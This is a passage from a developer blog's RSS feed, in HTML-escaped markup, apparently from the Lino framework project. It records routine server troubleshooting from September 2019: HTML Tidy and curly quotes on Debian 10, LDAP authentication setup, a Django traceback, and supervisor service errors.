&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;html2xhtml&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;doctype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;omit&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;show_warnings&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# options.update(output_xml=1)&lt;/span&gt;
    &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output_xhtml&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;document&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tidy_fragment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I might open the document in libreoffice, replace the curly quotes by straight
ones, make a release of xl and update their environment.&lt;/p&gt;
&lt;p&gt;But my problem is that we didn’t have this problem before. The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.excerpts.html#module-lino_xl.lib.excerpts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.excerpts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; successfully creates the file
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;media/cache/appypdf/excerpts.Excerpt-2.pdf&lt;/span&gt;&lt;/code&gt; which comes from above
template.&lt;/p&gt;
&lt;p&gt;It seems that tiny successfully parses those curly quotes on my machine (and on
travis, and on other machines) and that it doesn’t like them any more on the new
server.  Yes, this is our first usage of Debian 10. We checked whether tidy has
some option to control this behaviour
&lt;a class="reference external" href="http://tidy.sourceforge.net/docs/quickref.html"&gt;http://tidy.sourceforge.net/docs/quickref.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;On Debian 9 we have HTML Tidy version &lt;strong&gt;5.2.0&lt;/strong&gt;, while on Debian 10 it is
&lt;strong&gt;5.6.0&lt;/strong&gt;. This seems the relevant difference.&lt;/p&gt;
&lt;p&gt;Edit 20190904: I asked the &lt;a class="reference external" href="http://www.html-tidy.org/"&gt;HTACG&lt;/a&gt; for advice:
&lt;a class="reference external" href="https://github.com/htacg/tidy-html5/issues/841"&gt;https://github.com/htacg/tidy-html5/issues/841&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="configuring-ldap-authentication"&gt;
&lt;h2&gt;Configuring LDAP authentication&lt;a class="headerlink" href="#configuring-ldap-authentication" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;LDAP authentication is now done using nginx and django-auth-ldap instead of
apache and mod_wsgi. So it is no longer done by the browser using plain http
auth.  Plain http auth is obsolete and has the disadvantage that you cannot sign
out without leaving the browser and cannot remain signed in when leaving the
browser.&lt;/p&gt;
&lt;p&gt;But surprise: LDAP is more complex than Hamza and I thought. We tried to migrate
the LDAP options from the Apache configuration to the &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file,
as demonstrated in the &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.team.settings.demo&lt;/span&gt;&lt;/code&gt;. But we
decided to give up and ask somebody who knows how to configure LDAP server.
Nicolas, Steve or Gerd.&lt;/p&gt;
&lt;p&gt;Here are the docs for django-auth-ldap:
- &lt;a class="reference external" href="https://django-auth-ldap.readthedocs.io/en/latest/authentication.html"&gt;https://django-auth-ldap.readthedocs.io/en/latest/authentication.html&lt;/a&gt;
- &lt;a class="reference external" href="https://django-auth-ldap.readthedocs.io/en/latest/example.html"&gt;https://django-auth-ldap.readthedocs.io/en/latest/example.html&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0903.html</guid><pubDate>Tue, 03 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Monday, September 2, 2019</title><link>https://luc.lino-framework.org/blog/2019/0902.html</link><description>&lt;section id="monday-september-2-2019"&gt;
&lt;h1&gt;Monday, September 2, 2019&lt;a class="headerlink" href="#monday-september-2-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="runtimeerror-populate-isn-t-reentrant"&gt;
&lt;h2&gt;RuntimeError: populate() isn’t reentrant&lt;a class="headerlink" href="#runtimeerror-populate-isn-t-reentrant" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hobbit was not responding, the apache error log said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;18156&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt; &lt;span class="n"&gt;processing&lt;/span&gt; &lt;span class="n"&gt;WSGI&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/python/lino_local.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt;
    &lt;span class="n"&gt;globals_dict&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;
    &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set_prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;
    &lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INSTALLED_APPS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/apps/registry.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;83&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;populate() isn&amp;#39;t reentrant&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;isn&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t reentrant&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The problem vanished after running &lt;a class="reference external" href="https://hosting.lino-framework.org/reload_services/#xfile-reload_services.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;reload_services.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. This sporadic
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;populate()&lt;/span&gt; &lt;span class="pre"&gt;isn't&lt;/span&gt; &lt;span class="pre"&gt;reentrant&lt;/span&gt;&lt;/code&gt; error is a bit mysterious. Might be
related to Apache’s mod_wsgi, so maybe it will vanish when we move to nginx.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="supervisor-failing-on-sr"&gt;
&lt;h2&gt;Supervisor failing on SR&lt;a class="headerlink" href="#supervisor-failing-on-sr" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;While Apache now restarted without problem, supervisor reports an error.  The
supervisor log file says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;CRIT&lt;/span&gt; &lt;span class="n"&gt;Supervisor&lt;/span&gt; &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After reading
&lt;a class="reference external" href="https://github.com/Supervisor/supervisor/issues/308"&gt;here&lt;/a&gt;
and &lt;a class="reference external" href="https://stackoverflow.com/questions/13905861/supervisor-as-non-root-user"&gt;here&lt;/a&gt;
I’d say that we can ignore this warning.
But the error message is still coming.&lt;/p&gt;
&lt;p&gt;I saw another warning in &lt;cite&gt;sudo journalctl -xe&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;cron&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;20502&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;certbot&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;WRONG&lt;/span&gt; &lt;span class="n"&gt;FILE&lt;/span&gt; &lt;span class="n"&gt;OWNER&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cron&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;certbot&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And indeed the file was owned by tonis. So I said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo chown root:root /etc/cron.d/certbot
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But the error message is still coming.
I saw that &lt;cite&gt;sudo systemctl status supervisor.service&lt;/cite&gt; said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;over&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="mi"&gt;11154&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soffice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;control&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;starting&lt;/span&gt; &lt;span class="n"&gt;unit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Ignoring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;usually&lt;/span&gt; &lt;span class="n"&gt;indicates&lt;/span&gt; &lt;span class="n"&gt;unclean&lt;/span&gt; &lt;span class="n"&gt;termination&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;previous&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;implementation&lt;/span&gt; &lt;span class="n"&gt;deficiencies&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;over&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="mi"&gt;11160&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;control&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;starting&lt;/span&gt; &lt;span class="n"&gt;unit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Ignoring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;usually&lt;/span&gt; &lt;span class="n"&gt;indicates&lt;/span&gt; &lt;span class="n"&gt;unclean&lt;/span&gt; &lt;span class="n"&gt;termination&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;previous&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;implementation&lt;/span&gt; &lt;span class="n"&gt;deficiencies&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Starting&lt;/span&gt; &lt;span class="n"&gt;LSB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Start&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;18340&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Starting&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Another&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="n"&gt;listening&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;our&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;servers&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;configured&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;  &lt;span class="n"&gt;Shut&lt;/span&gt;
&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;18340&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;For&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;supervisord&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt; &lt;span class="n"&gt;ovh2&lt;/span&gt; &lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Control&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="n"&gt;exited&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;exited&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;INVALIDARGUMENT&lt;/span&gt;
